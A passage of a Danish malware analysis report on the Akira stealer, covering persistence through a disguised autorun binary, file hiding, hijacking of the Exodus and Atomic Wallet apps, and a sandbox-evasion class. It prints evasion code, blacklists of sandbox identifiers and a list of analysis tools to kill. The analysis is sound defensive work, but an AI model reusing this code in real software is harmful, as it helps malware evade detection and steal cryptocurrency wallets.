/f'\n",[1683,4505,4506],{"class":1685,"line":2062},[1683,4507,4508],{},"os.system(command)\n",[604,4510,4511,4518,4525],{},[607,4512,4513,972,4516],{},[540,4514,4515],{},"Sti",[551,4517,1655],{},[607,4519,4520,972,4522,4524],{},[540,4521,1660],{},[551,4523,1663],{}," (valgt, så det virker harmløst)",[607,4526,4527,4529,4530],{},[540,4528,1668],{},": Typisk i ",[551,4531,4532],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[533,4534,4535,4536,4539],{},"Kommandoen skriver autorun-posten lydløst via PowerShell eller et nativt ",[551,4537,4538],{},"os.system()","-kald.",[861,4541,4543],{"id":4542},"_723-skjulning-af-filen","7.2.3 Skjulning af filen",[533,4545,867],{},[533,4547,4548],{},"For yderligere at skjule binærfilen for brugere og simple AV-scanninger markeres filen med attributterne hidden og system:",[588,4550,4552],{"className":4494,"code":4551,"language":4496,"meta":594,"style":594},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[551,4553,4554],{"__ignoreMap":594},[1683,4555,4556],{"class":1685,"line":1686},[1683,4557,4551],{},[604,4559,4560,4566],{},[607,4561,4562,4565],{},[551,4563,4564],{},"+h",": Markerer filen som skjult",[607,4567,4568,4571],{},[551,4569,4570],{},"+s",": Markerer filen som en beskyttet systemfil",[533,4573,4574],{},"Det fjerner i praksis filen fra de almindelige visninger i Windows Explorer og øger stealth.",[861,4576,4578],{"id":4577},"_724-reinfektionsteknikker","7.2.4 Reinfektionsteknikker",[533,4580,867],{},[533,4582,4583,4584,4586,4587,558,4590,4593],{},"Malwaren understøtter selvreplikering og reinfektion gennem Electron application hijacking. Konkret erstatter den arkivet ",[551,4585,1046],{}," i Electron-baserede desktop-wallets (for eksempel ",[540,4588,4589],{},"Exodus",[540,4591,4592],{},"Atomic Wallet","), så der køres ondsindet JavaScript, når den legitime app starter.",[533,4595,4596],{},"Logikken leder efter kendte stier til wallet-apps:",[588,4598,4600],{"className":4494,"code":4599,"language":4496,"meta":594,"style":594},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[551,4601,4602],{"__ignoreMap":594},[1683,4603,4604],{"class":1685,"line":1686},[1683,4605,4599],{},[533,4607,4608,4609,4611],{},"Findes målfilen, bliver den overskrevet med et våbengjort arkiv. Det sikrer persistens, også efter at ",[551,4610,574],{}," er ryddet op manuelt.",[714,4613,4615,4616,1112],{"id":4614},"_73-anti-analyse-og-omgåelse-klassen-vmprotect","7.3 Anti-analyse og omgåelse (klassen ",[551,4617,4618],{},"VmProtect",[533,4620,720],{},[861,4622,4624],{"id":4623},"_731-introduktion","7.3.1 Introduktion",[533,4626,867],{},[533,4628,4629,4630,4633,4634,4636],{},"I moderne malwarekampagner er det afgørende at undgå analyse i virtualiserede og sandkasseisolerede miljøer for at bevare stealth. ",[4631,4632,651],"em",{}," implementerer et omfattende modul til detektion af VM og sandkasse (",[551,4635,4618],{},"), der aggressivt identificerer analytikerstyrede miljøer og afbryder eksekveringen. Denne rapport dissekerer hver enkelt detektionsteknik, viser de præcise kodeudsnit inklusive de komplette blacklist-definitioner og beskriver den anvendte analysemetode.",[861,4638,4640],{"id":4639},"_732-overblik","7.3.2 Overblik",[533,4642,867],{},[533,4644,4645,4646,4648],{},"Klassen ",[551,4647,4618],{}," implementerer robust detektion af VM'er og sandkasser for at afbryde eksekveringen i utide i analysemiljøer. Den understøtter to detektionsniveauer:",[604,4650,4651,4657],{},[607,4652,4653,4656],{},[540,4654,4655],{},"Level 1",": Lette, hurtige tjek",[607,4658,4659,4662],{},[540,4660,4661],{},"Level 2",": Dybdegående, omfattende sonderinger",[533,4664,4665,4666,4669,4670,4673,4674,4677],{},"Returnerer ",[551,4667,4668],{},"VmProtect.isVM(level)"," værdien ",[551,4671,4672],{},"True",", kalder malwaren ",[551,4675,4676],{},"sys.exit()"," og forhindrer dermed videre analyse.",[861,4679,4681],{"id":4680},"_733-detektionsniveauer","7.3.3 Detektionsniveauer",[533,4683,867],{},[1391,4685,4686,4687],{},"\n  ",[1407,4688,4689,4686,4699,4686,4709,4686,4718,4686,4727,4686,4737,4686,4746,4686,4755],{},[1397,4690,4691,4692,4691,4695,4691,4697,4686],{},"\n    ",[1400,4693,4694],{},"Funktion",[1400,4696,4655],{},[1400,4698,4661],{},[1397,4700,4691,4701,4691,4704,4691,4707,4686],{},[1412,4702,4703],{},"HTTPSimulation",[1412,4705,4706],{},"✔️",[1412,4708,4706],{},[1397,4710,4691,4711,4691,4714,4691,4716,4686],{},[1412,4712,4713],{},"Blacklist over computernavne",[1412,4715,4706],{},[1412,4717,4706],{},[1397,4719,4691,4720,4691,4723,4691,4725,4686],{},[1412,4721,4722],{},"Blacklist over brugerkonti",[1412,4724,4706],{},[1412,4726,4706],{},[1397,4728,4691,4729,4691,4732,4691,4735,4686],{},[1412,4730,4731],{},"Blacklist over hardware-UUID'er",[1412,4733,4734],{},"❌",[1412,4736,4706],{},[1397,4738,4691,4739,4691,4742,4691,4744,4686],{},[1412,4740,4741],{},"Tjek via public-hosting-API",[1412,4743,4734],{},[1412,4745,4706],{},[1397,4747,4691,4748,4691,4751,4691,4753,4686],{},[1412,4749,4750],{},"Spor i registry og GPU",[1412,4752,4734],{},[1412,4754,4706],{},[1397,4756,4691,4757,4691,4760,4691,4762,4686],{},[1412,4758,4759],{},"Task-killing i baggrunden",[1412,4761,4706],{},[1412,4763,4706],{},[826,4765],{"className":4766},[829,830],[861,4768,4770,4771,4773],{"id":4769},"_734-vmprotect-arkitekturen","7.3.4 ",[551,4772,4618],{},"-arkitekturen",[533,4775,867],{},[533,4777,4645,4778,4780],{},[551,4779,4618],{}," eksponerer følgende primære metoder:",[604,4782,4783,4790,4797,4804,4811,4818,4825,4832],{},[607,4784,4785],{},[540,4786,4787],{},[551,4788,4789],{},"checkUUID()",[607,4791,4792],{},[540,4793,4794],{},[551,4795,4796],{},"checkComputerName()",[607,4798,4799],{},[540,4800,4801],{},[551,4802,4803],{},"checkUsers()",[607,4805,4806],{},[540,4807,4808],{},[551,4809,4810],{},"checkHosting()",[607,4812,4813],{},[540,4814,4815],{},[551,4816,4817],{},"checkHTTPSimulation()",[607,4819,4820],{},[540,4821,4822],{},[551,4823,4824],{},"checkRegistry()",[607,4826,4827],{},[540,4828,4829],{},[551,4830,4831],{},"killTasks()",[607,4833,4834],{},[540,4835,4836],{},[551,4837,4838],{},"isVM(level)",[533,4840,4841,4842,4845],{},"Hver metode returnerer en boolean eller udfører omgåelsestrin. Wrapperen ",[551,4843,4844],{},"isVM"," samler disse tjek ud fra det angivne niveau.",[1391,4847,4686,4848],{},[1407,4849,4850,4686,4861,4686,4875,4686,4889,4686,4902,4686,4915,4686,4928,4686,4941,4686,4956],{},[1397,4851,4691,4852,4691,4855,4691,4858,4686],{},[1400,4853,4854],{},"Metode",[1400,4856,4857],{},"Udløses af",[1400,4859,4860],{},"Beskrivelse",[1397,4862,4691,4863,4691,4867,4691,4872,4686],{},[1412,4864,4865],{},[551,4866,4789],{},[1412,4868,4869],{},[551,4870,4871],{},"isVM(2)",[1412,4873,4874],{},"Blacklist over WMI-UUID'er",[1397,4876,4691,4877,4691,4881,4691,4886,4686],{},[1412,4878,4879],{},[551,4880,4796],{},[1412,4882,4883],{},[551,4884,4885],{},"isVM(1,2)",[1412,4887,4888],{},"Match på hostname fra miljøet",[1397,4890,4691,4891,4691,4895,4691,4899,4686],{},[1412,4892,4893],{},[551,4894,4803],{},[1412,4896,4897],{},[551,4898,4885],{},[1412,4900,4901],{},"Blacklist over brugernavne",[1397,4903,4691,4904,4691,4908,4691,4912,4686],{},[1412,4905,4906],{},[551,4907,4810],{},[1412,4909,4910],{},[551,4911,4871],{},[1412,4913,4914],{},"Tjek af IP-adressens hostingudbyder via ip-api.com",[1397,4916,4691,4917,4691,4921,4691,4925,4686],{},[1412,4918,4919],{},[551,4920,4817],{},[1412,4922,4923],{},[551,4924,4885],{},[1412,4926,4927],{},"Detektion af HTTPS-aflytning",[1397,4929,4691,4930,4691,4934,4691,4938,4686],{},[1412,4931,4932],{},[551,4933,4824],{},[1412,4935,4936],{},[551,4937,4871],{},[1412,4939,4940],{},"Artefakter i registry og GPU-driver",[1397,4942,4691,4943,4691,4947,4691,4953,4686],{},[1412,4944,4945],{},[551,4946,4831],{},[1412,4948,4949,4952],{},[551,4950,4951],{},"isVM(...)"," spawn",[1412,4954,4955],{},"Afslutter kendte analyseprocesser",[1397,4957,4691,4958,4691,4962,4691,4965,4686],{},[1412,4959,4960],{},[551,4961,4838],{},[1412,4963,4964],{},"init",[1412,4966,4967,4968],{},"Samler tjekkene og kalder tråden ",[551,4969,4831],{},[826,4971],{"className":4972},[829,830],[588,4974,4976],{"className":4494,"code":4975,"language":4496,"meta":594,"style":594},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[551,4977,4978,4983,4988,4993,4998,5003,5008,5013,5018,5023,5028,5034,5040,5046,5052,5058,5064,5070,5076,5082,5088,5094,5100,5106,5112],{"__ignoreMap":594},[1683,4979,4980],{"class":1685,"line":1686},[1683,4981,4982],{},"@staticmethod\n",[1683,4984,4985],{"class":1685,"line":2062},[1683,4986,4987],{},"def isVM(level: int) -> bool:\n",[1683,4989,4990],{"class":1685,"line":2068},[1683,4991,4992],{},"    # Always start background task-killer\n",[1683,4994,4995],{"class":1685,"line":2074},[1683,4996,4997],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1683,4999,5000],{"class":1685,"line":2395},[1683,5001,5002],{},"    if level == 1:\n",[1683,5004,5005],{"class":1685,"line":2401},[1683,5006,5007],{},"        # Fast path: HTTPS, hostname & user\n",[1683,5009,5010],{"class":1685,"line":3060},[1683,5011,5012],{},"        return (\n",[1683,5014,5015],{"class":1685,"line":3857},[1683,5016,5017],{},"            VmProtect.checkHTTPSimulation()\n",[1683,5019,5020],{"class":1685,"line":3863},[1683,5021,5022],{},"            or VmProtect.checkComputerName()\n",[1683,5024,5025],{"class":1685,"line":4108},[1683,5026,5027],{},"            or VmProtect.checkUsers()\n",[1683,5029,5031],{"class":1685,"line":5030},11,[1683,5032,5033],{},"        )\n",[1683,5035,5037],{"class":1685,"line":5036},12,[1683,5038,5039],{},"    if level == 2:\n",[1683,5041,5043],{"class":1685,"line":5042},13,[1683,5044,5045],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1683,5047,5049],{"class":1685,"line":5048},14,[1683,5050,5051],{},"        try:\n",[1683,5053,5055],{"class":1685,"line":5054},15,[1683,5056,5057],{},"            return (\n",[1683,5059,5061],{"class":1685,"line":5060},16,[1683,5062,5063],{},"                VmProtect.checkHTTPSimulation()\n",[1683,5065,5067],{"class":1685,"line":5066},17,[1683,5068,5069],{},"                or VmProtect.checkUUID()\n",[1683,5071,5073],{"class":1685,"line":5072},18,[1683,5074,5075],{},"                or VmProtect.checkComputerName()\n",[1683,5077,5079],{"class":1685,"line":5078},19,[1683,5080,5081],{},"                or VmProtect.checkUsers()\n",[1683,5083,5085],{"class":1685,"line":5084},20,[1683,5086,5087],{},"                or VmProtect.checkHosting()\n",[1683,5089,5091],{"class":1685,"line":5090},21,[1683,5092,5093],{},"                or VmProtect.checkRegistry()\n",[1683,5095,5097],{"class":1685,"line":5096},22,[1683,5098,5099],{},"            )\n",[1683,5101,5103],{"class":1685,"line":5102},23,[1683,5104,5105],{},"        except:\n",[1683,5107,5109],{"class":1685,"line":5108},24,[1683,5110,5111],{},"            return False\n",[1683,5113,5115],{"class":1685,"line":5114},25,[1683,5116,5117],{},"    return False\n",[861,5119,5121],{"id":5120},"_735-uuid-tjek-at-identificere-virtuelle-maskiner-via-hardware-uuid","7.3.5 UUID-tjek – at identificere virtuelle maskiner via hardware-UUID",[533,5123,867],{},[533,5125,5126],{},"En udbredt taktik i malwarens omgåelse er at tage fingeraftryk af det underliggende hardwaremiljø. En af de tidligste identifikatorer, der kan afsløre en virtuel maskine, er systemets UUID (Universally Unique Identifier). Virtualiseringsplatforme som VMware og VirtualBox genererer ofte forudsigelige eller genbrugte UUID'er, og dem kan malware bruge til at slutte, om den kører i et virtualiseret eller sandkasseisoleret miljø.",[588,5128,5130],{"className":4494,"code":5129,"language":4496,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[551,5131,5132,5136,5141,5146,5151,5156,5161,5166,5171,5176],{"__ignoreMap":594},[1683,5133,5134],{"class":1685,"line":1686},[1683,5135,4982],{},[1683,5137,5138],{"class":1685,"line":2062},[1683,5139,5140],{},"def checkUUID() -> bool:\n",[1683,5142,5143],{"class":1685,"line":2068},[1683,5144,5145],{},"    try:\n",[1683,5147,5148],{"class":1685,"line":2074},[1683,5149,5150],{},"        raw = subprocess.run(\n",[1683,5152,5153],{"class":1685,"line":2395},[1683,5154,5155],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1683,5157,5158],{"class":1685,"line":2401},[1683,5159,5160],{},"            capture_output=True\n",[1683,5162,5163],{"class":1685,"line":3060},[1683,5164,5165],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1683,5167,5168],{"class":1685,"line":3857},[1683,5169,5170],{},"    except:\n",[1683,5172,5173],{"class":1685,"line":3863},[1683,5174,5175],{},"        raw = \"\"\n",[1683,5177,5178],{"class":1685,"line":4108},[1683,5179,5180],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[533,5182,5183],{},"Tjekket bruger værktøjet Windows Management Instrumentation Command-line (WMIC) til at udtrække værtsmaskinens UUID. Den returnerede værdi holdes derefter op mod en kurateret liste over UUID'er, der typisk hører til skabeloner for virtuelle maskiner eller kendte analyseopsætninger.",[861,5185,5187],{"id":5186},"_736-tjek-af-computernavn-at-opdage-sandkasse-og-analysemiljøer-via-hostname","7.3.6 Tjek af computernavn – at opdage sandkasse- og analysemiljøer via hostname",[533,5189,867],{},[533,5191,5192,5193,5196],{},"Systemets hostname, som læses via miljøvariablen ",[551,5194,5195],{},"%COMPUTERNAME%",", afslører ofte spor om miljøet. Analytikere bruger tit standardnavne eller hurtigt genererede hostnavne som \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\" eller endda navne knyttet til deres interne miljøer. Det udnytter malwaren ved at sammenligne systemets hostname med en blacklist.",[588,5198,5200],{"className":4494,"code":5199,"language":4496,"meta":594,"style":594},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[551,5201,5202,5206,5211,5216,5221,5225,5230,5235,5240,5245],{"__ignoreMap":594},[1683,5203,5204],{"class":1685,"line":1686},[1683,5205,4982],{},[1683,5207,5208],{"class":1685,"line":2062},[1683,5209,5210],{},"def checkComputerName() -> bool:\n",[1683,5212,5213],{"class":1685,"line":2068},[1683,5214,5215],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1683,5217,5218],{"class":1685,"line":2074},[1683,5219,5220],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1683,5222,5223],{"class":1685,"line":2395},[1683,5224,3854],{"emptyLinePlaceholder":325},[1683,5226,5227],{"class":1685,"line":2401},[1683,5228,5229],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1683,5231,5232],{"class":1685,"line":3060},[1683,5233,5234],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1683,5236,5237],{"class":1685,"line":3857},[1683,5238,5239],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1683,5241,5242],{"class":1685,"line":3863},[1683,5243,5244],{},"    # ... dozens more entries ...\n",[1683,5246,5247],{"class":1685,"line":4108},[1683,5248,5249],{},")\n",[533,5251,5252],{},"Er der et match, kan malwaren vælge at standse eksekveringen eller udrulle en falsk payload og dermed undgå en fuld adfærdsanalyse.",[861,5254,5256],{"id":5255},"_737-tjek-af-brugerkonto-profilering-af-analytiker-og-standardkonti","7.3.7 Tjek af brugerkonto – profilering af analytiker- og standardkonti",[533,5258,867],{},[533,5260,5261],{},"En anden heuristik består i at vurdere det brugernavn, malwaren kører under. Mange skabeloner til virtuelle maskiner og sandkasser genbruger almindelige brugernavne som \"Abby\", \"Test\" eller \"wdagutilityaccount\". Navnene har lav entropi og er ofte hardkodede i sandkassemiljøer med åben kildekode.",[588,5263,5265],{"className":4494,"code":5264,"language":4496,"meta":594,"style":594},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[551,5266,5267,5271,5276,5281,5286,5290,5295,5300,5305,5310],{"__ignoreMap":594},[1683,5268,5269],{"class":1685,"line":1686},[1683,5270,4982],{},[1683,5272,5273],{"class":1685,"line":2062},[1683,5274,5275],{},"def checkUsers() -> bool:\n",[1683,5277,5278],{"class":1685,"line":2068},[1683,5279,5280],{},"    user = os.getlogin().lower()\n",[1683,5282,5283],{"class":1685,"line":2074},[1683,5284,5285],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1683,5287,5288],{"class":1685,"line":2395},[1683,5289,3854],{"emptyLinePlaceholder":325},[1683,5291,5292],{"class":1685,"line":2401},[1683,5293,5294],{},"BLACKLISTED_USERS = (\n",[1683,5296,5297],{"class":1685,"line":3060},[1683,5298,5299],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1683,5301,5302],{"class":1685,"line":3857},[1683,5303,5304],{},"    'a.monaldo','tvm',\n",[1683,5306,5307],{"class":1685,"line":3863},[1683,5308,5309],{},"    # ... 30+ more entries ...\n",[1683,5311,5312],{"class":1685,"line":4108},[1683,5313,5249],{},[533,5315,5316],{},"Tjekket forbedrer detektionen ved at se på brugerkonteksten, som kan være uændret selv på tværs af genstarter eller snapshots af virtuelle maskiner.",[861,5318,5320],{"id":5319},"_738-hosting-tjek-at-opdage-offentlig-cloudinfrastruktur","7.3.8 Hosting-tjek – at opdage offentlig cloudinfrastruktur",[533,5322,867],{},[533,5324,5325,5326,5329],{},"Noget malware bruger eksterne IP-efterretningstjenester til at få bekræftet, om det inficerede system står i et kendt datacenter eller hos en kendt cloududbyder. I dette tilfælde sendes en simpel HTTP-forespørgsel til ",[551,5327,5328],{},"ip-api.com"," med spørgsmålet, om IP-adressen er flagget som \"hosting\".",[588,5331,5333],{"className":4494,"code":5332,"language":4496,"meta":594,"style":594},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[551,5334,5335,5339,5344,5349,5353,5358,5363,5368,5373,5377],{"__ignoreMap":594},[1683,5336,5337],{"class":1685,"line":1686},[1683,5338,4982],{},[1683,5340,5341],{"class":1685,"line":2062},[1683,5342,5343],{},"def checkHosting() -> bool:\n",[1683,5345,5346],{"class":1685,"line":2068},[1683,5347,5348],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1683,5350,5351],{"class":1685,"line":2074},[1683,5352,5145],{},[1683,5354,5355],{"class":1685,"line":2395},[1683,5356,5357],{},"        return http.request(\n",[1683,5359,5360],{"class":1685,"line":2401},[1683,5361,5362],{},"            'GET',\n",[1683,5364,5365],{"class":1685,"line":3060},[1683,5366,5367],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1683,5369,5370],{"class":1685,"line":3857},[1683,5371,5372],{},"        ).data.decode().strip() == 'true'\n",[1683,5374,5375],{"class":1685,"line":3863},[1683,5376,5170],{},[1683,5378,5379],{"class":1685,"line":4108},[1683,5380,5381],{},"        return False\n",[533,5383,5384],{},"Det gør, at malwaren kan afgøre, om den kører på infrastruktur, der tilhører Microsoft Azure, AWS, DigitalOcean og lignende, hvilket er et advarselstegn om sandkasseanalyse.",[861,5386,5388],{"id":5387},"_739-https-simuleringstjek-sondering-efter-ssl-aflytning","7.3.9 HTTPS-simuleringstjek – sondering efter SSL-aflytning",[533,5390,867],{},[533,5392,5393,5394,5397],{},"For at identificere miljøer med SSL-inspektion, som er udbredt i virksomheds- og forskningsnetværk, sender malwaren en harmløs HTTPS-forespørgsel til et tilfældigt subdomæne under ",[551,5395,5396],{},".in",". Fejler forbindelsen på grund af DNS-filtrering, aflytningsproxyer eller mislykket certificate pinning, kan det være et signal om, at malwaren bliver analyseret.",[588,5399,5401],{"className":4494,"code":5400,"language":4496,"meta":594,"style":594},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[551,5402,5403,5407,5412,5417,5421,5426,5430,5434],{"__ignoreMap":594},[1683,5404,5405],{"class":1685,"line":1686},[1683,5406,4982],{},[1683,5408,5409],{"class":1685,"line":2062},[1683,5410,5411],{},"def checkHTTPSimulation() -> bool:\n",[1683,5413,5414],{"class":1685,"line":2068},[1683,5415,5416],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1683,5418,5419],{"class":1685,"line":2074},[1683,5420,5145],{},[1683,5422,5423],{"class":1685,"line":2395},[1683,5424,5425],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1683,5427,5428],{"class":1685,"line":2401},[1683,5429,5170],{},[1683,5431,5432],{"class":1685,"line":3060},[1683,5433,5381],{},[1683,5435,5436],{"class":1685,"line":3857},[1683,5437,5438],{},"    return True\n",[533,5440,5441],{},"Den diskrete fremgangsmåde tester netværksvejens integritet uden at udløse alarmer eller kræve dedikeret infrastruktur.",[861,5443,5445],{"id":5444},"_7310-tjek-af-registry-og-gpu-driver-at-opdage-virtuelle-gpu-signaturer","7.3.10 Tjek af registry og GPU-driver – at opdage virtuelle GPU-signaturer",[533,5447,867],{},[533,5449,5450,5451,5454],{},"Nogle virtuelle miljøer forrådes af registry-nøgler eller beskrivelser af GPU-driveren. Akira kører en dobbelt strategi: den forespørger registry-poster knyttet til grafiksubsystemet og undersøger separat output fra ",[551,5452,5453],{},"wmic"," for mistænkelige GPU-strenge.",[588,5456,5458],{"className":4494,"code":5457,"language":4496,"meta":594,"style":594},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[551,5459,5460,5464,5469,5474,5479,5484,5489,5494,5498,5502,5507,5512,5517,5522,5527,5532],{"__ignoreMap":594},[1683,5461,5462],{"class":1685,"line":1686},[1683,5463,4982],{},[1683,5465,5466],{"class":1685,"line":2062},[1683,5467,5468],{},"def checkRegistry() -> bool:\n",[1683,5470,5471],{"class":1685,"line":2068},[1683,5472,5473],{},"    r1 = subprocess.run(\n",[1683,5475,5476],{"class":1685,"line":2074},[1683,5477,5478],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1683,5480,5481],{"class":1685,"line":2395},[1683,5482,5483],{},"        capture_output=True, shell=True)\n",[1683,5485,5486],{"class":1685,"line":2401},[1683,5487,5488],{},"    r2 = subprocess.run(\n",[1683,5490,5491],{"class":1685,"line":3060},[1683,5492,5493],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1683,5495,5496],{"class":1685,"line":3857},[1683,5497,5483],{},[1683,5499,5500],{"class":1685,"line":3863},[1683,5501,3854],{"emptyLinePlaceholder":325},[1683,5503,5504],{"class":1685,"line":4108},[1683,5505,5506],{},"    # GPU name check\n",[1683,5508,5509],{"class":1685,"line":5030},[1683,5510,5511],{},"    gpu_out = subprocess.run(\n",[1683,5513,5514],{"class":1685,"line":5036},[1683,5515,5516],{},"        \"wmic path win32_VideoController get name\",\n",[1683,5518,5519],{"class":1685,"line":5042},[1683,5520,5521],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1683,5523,5524],{"class":1685,"line":5048},[1683,5525,5526],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1683,5528,5529],{"class":1685,"line":5054},[1683,5530,5531],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1683,5533,5534],{"class":1685,"line":5060},[1683,5535,5536],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[533,5538,5539],{},"Tjekkene på hardwareniveau er særligt effektive mod analyseopsætninger, der måske ikke helt maskerer virtualiserede skærmadaptere.",[861,5541,5543],{"id":5542},"_7311-task-killing-at-undertrykke-analyseværktøjer-i-realtid","7.3.11 Task-killing – at undertrykke analyseværktøjer i realtid",[533,5545,867],{},[533,5547,5548],{},"Akira nøjes ikke med passivt at undgå detektion, den går et skridt videre og afslutter aktivt kendte analyse- og debugværktøjer. Den starter en baggrundstråd, der gennemløber en liste af processer og dræber hvert match, den finder.",[588,5550,5552],{"className":4494,"code":5551,"language":4496,"meta":594,"style":594},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[551,5553,5554,5558,5563,5568,5572,5577,5582,5587,5592],{"__ignoreMap":594},[1683,5555,5556],{"class":1685,"line":1686},[1683,5557,4982],{},[1683,5559,5560],{"class":1685,"line":2062},[1683,5561,5562],{},"def killTasks() -> None:\n",[1683,5564,5565],{"class":1685,"line":2068},[1683,5566,5567],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1683,5569,5570],{"class":1685,"line":2074},[1683,5571,3854],{"emptyLinePlaceholder":325},[1683,5573,5574],{"class":1685,"line":2395},[1683,5575,5576],{},"BLACKLISTED_TASKS = (\n",[1683,5578,5579],{"class":1685,"line":2401},[1683,5580,5581],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1683,5583,5584],{"class":1685,"line":3060},[1683,5585,5586],{},"  # ... dozens more ...\n",[1683,5588,5589],{"class":1685,"line":3857},[1683,5590,5591],{},"  'glasswire','requestly'\n",[1683,5593,5594],{"class":1685,"line":3863},[1683,5595,5249],{},[533,5597,5598],{},"Værktøjerne, som incident responders og malwareanalytikere ofte bruger, neutraliseres, før de kan indsamle meningsfulde adfærdsartefakter.",[533,5600,5601],{},[540,5602,5603],{},"Sammenfatning",[533,5605,5606],{},"Akira bruger et avanceret arsenal af anti-analyseteknikker rettet mod flere systemlag, fra miljøvariabler og registry-nøgler til netværkssonderinger og processlister. Mekanismerne er bygget til at opdage og omgå både automatiserede sandkasser og manuelle inspektionsopsætninger.",[533,5608,5609],{},"Kombinationen af passivt fingeraftryk og aktiv undertrykkelse, for eksempel task killing, viser, hvordan selv malwarefamilier i mellemklassen nu indbygger omgåelseslogik i flere lag.",[861,5611,5613],{"id":5612},"_7312-komplette-blacklists-og-detektionsfunktioner","7.3.12 Komplette blacklists og detektionsfunktioner",[533,5615,867],{},[533,5617,5618],{},[540,5619,5620],{},"Blacklistede hardware-UUID'er",[588,5622,5625],{"className":5623,"code":5624,"language":593},[591],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    